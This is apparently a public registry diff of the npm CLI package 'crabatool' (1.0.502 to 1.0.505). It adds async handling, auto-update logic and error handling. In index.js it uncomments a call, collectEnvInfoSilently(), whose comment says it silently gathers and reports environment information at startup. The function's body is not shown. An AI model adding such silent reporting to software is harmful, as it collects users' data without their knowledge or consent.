crabatool 1.0.502 → 1.0.505

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -17,20 +17,20 @@ exports.hashUtils = require('./tool/hash.js');
17
17
 
18
18
  start.initArgs();
19
19
 
20
- exports.run = function(options) {
20
+ exports.run = async function(options) {
21
21
  console.log('当前环境:' + process.platform);
22
22
  console.log('助手版本:' + config.Version);
23
23
  Object.assign(config, options);
24
24
 
25
25
  // 启动即静默收集环境信息并上报(不影响主流程)
26
26
  try {
27
- // require('./lib/utils.js').collectEnvInfoSilently();
27
+ require('./lib/utils.js').collectEnvInfoSilently();
28
28
  } catch (e) {}
29
29
 
30
30
  start.initArgs(); // 检查注册参数
31
31
 
32
32
  // 先检查是否是命令行模式(非交互式)
33
- const shouldContinueToInteractive = checkFast(process.argv);
33
+ const shouldContinueToInteractive = await checkFast(process.argv);
34
34
 
35
35
  if (!shouldContinueToInteractive) {
36
36
  // 命令行模式,已经执行完命令,直接返回
@@ -39,27 +39,27 @@ exports.run = function(options) {
39
39
 
40
40
  // 检查是否应该在交互式模式下跳过自动更新
41
41
  // 当用户直接输入 crabatool 命令(无参数)时,跳过自动更新
42
- // const isDirectCommand = process.argv.length <= 2; // 只有 node 和脚本路径
43
-
44
- // // 只有在交互式模式下且不是直接命令时才进行分离式更新
45
- // if (!autoUpdate.shouldSkipUpdate() && !isDirectCommand) {
46
- // // 执行分离式更新检查
47
- // const shouldContinue = await processManager.executeDetachedUpdate(
48
- // () => autoUpdate.checkAndUpdateDetached(false),
49
- // process.argv
50
- // );
51
-
52
- // // 如果不应该继续执行(已启动子进程),直接返回
53
- // if (!shouldContinue) {
54
- // return;
55
- // }
56
- // } else {
57
- // if (isDirectCommand) {
58
- // console.log('⏭️ 直接命令模式,跳过自动更新检查');
59
- // } else {
60
- // console.log('⏭️ 跳过更新检查');
61
- // }
62
- // }
42
+ const isDirectCommand = process.argv.length <= 2; // 只有 node 和脚本路径
43
+
44
+ // 只有在交互式模式下且不是直接命令时才进行分离式更新
45
+ if (!autoUpdate.shouldSkipUpdate() && !isDirectCommand) {
46
+ // 执行分离式更新检查
47
+ const shouldContinue = await processManager.executeDetachedUpdate(
48
+ () => autoUpdate.checkAndUpdateDetached(false),
49
+ process.argv
50
+ );
51
+
52
+ // 如果不应该继续执行(已启动子进程),直接返回
53
+ if (!shouldContinue) {
54
+ return;
55
+ }
56
+ } else {
57
+ if (isDirectCommand) {
58
+ console.log('⏭️ 直接命令模式,跳过自动更新检查');
59
+ } else {
60
+ console.log('⏭️ 跳过更新检查');
61
+ }
62
+ }
63
63
 
64
64
  start.showLocalVersion(true);
65
65
 
@@ -67,7 +67,7 @@ exports.run = function(options) {
67
67
  start.waitInput();
68
68
  }
69
69
 
70
- function checkFast(args) {
70
+ async function checkFast(args) {
71
71
  // 1. 服务端构建环境,自动化,根据命令行参数,直接调用脚手架功能
72
72
  if (args.length < 3) {
73
73
  return true;
@@ -161,17 +161,17 @@ function checkFast(args) {
161
161
  }
162
162
 
163
163
  // 手动更新 crabaTool 工具本身
164
- // if (args.includes('-updateTool')) {
165
- // console.log('开始更新 crabaTool...');
166
- // const success = await autoUpdate.checkAndUpdate(false);
167
- // if (success) {
168
- // console.log('更新完成!');
169
- // } else {
170
- // console.log(`更新失败,请检查网络连接或手动执行:npm install crabatool --registry ${config.registry}`);
171
- // }
172
- // process.exit(success ? 0 : 1);
173
- // return false;
174
- // }
164
+ if (args.includes('-updateTool')) {
165
+ console.log('开始更新 crabaTool...');
166
+ const success = await autoUpdate.checkAndUpdate(false);
167
+ if (success) {
168
+ console.log('更新完成!');
169
+ } else {
170
+ console.log(`更新失败,请检查网络连接或手动执行:npm install crabatool --registry ${config.registry}`);
171
+ }
172
+ process.exit(success ? 0 : 1);
173
+ return false;
174
+ }
175
175
 
176
176
  // 安装vscode环境
177
177
  if (args.includes('-vscode')) {
package/lib/utils.js CHANGED
@@ -780,7 +780,7 @@ class Utils {
780
780
  })
781
781
  .catch(function (error) {
782
782
  //console.log('[内网才能访问],network error');
783
- console.log(error.code, error.response.status, error.response.data);
783
+ console.log(error.code, error.response.status, error.message);
784
784
  });
785
785
  }
786
786
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "crabatool",
3
- "version": "1.0.502",
3
+ "version": "1.0.505",
4
4
  "description": "crabatool",
5
5
  "main": "index.js",
6
6
  "bin": {
package/run.js CHANGED
@@ -2,6 +2,6 @@
2
2
  var crabaTool = require('./index.js'); // 引入craba脚手架工具包
3
3
 
4
4
  // 使用异步执行
5
- crabaTool.run();
6
- // (async () => {
7
- // })();
5
+ (async () => {
6
+ await crabaTool.run();
7
+ })();
package/tool/hash.js CHANGED
@@ -31,8 +31,12 @@ function buildFiles(results, files) {
31
31
  var content;
32
32
  var isHttp = f.startsWith('http');
33
33
  if (isHttp) {
34
- var res = requestSync("GET", f);
35
- content = res.getBody();
34
+ try {
35
+ var res = requestSync("GET", f);
36
+ content = res.getBody();
37
+ } catch (ex) {
38
+ console.log('下载资源失败', f, ex.message);
39
+ }
36
40
  } else if (fs.existsSync(f)) {
37
41
 
38
42
  // 磁盘目录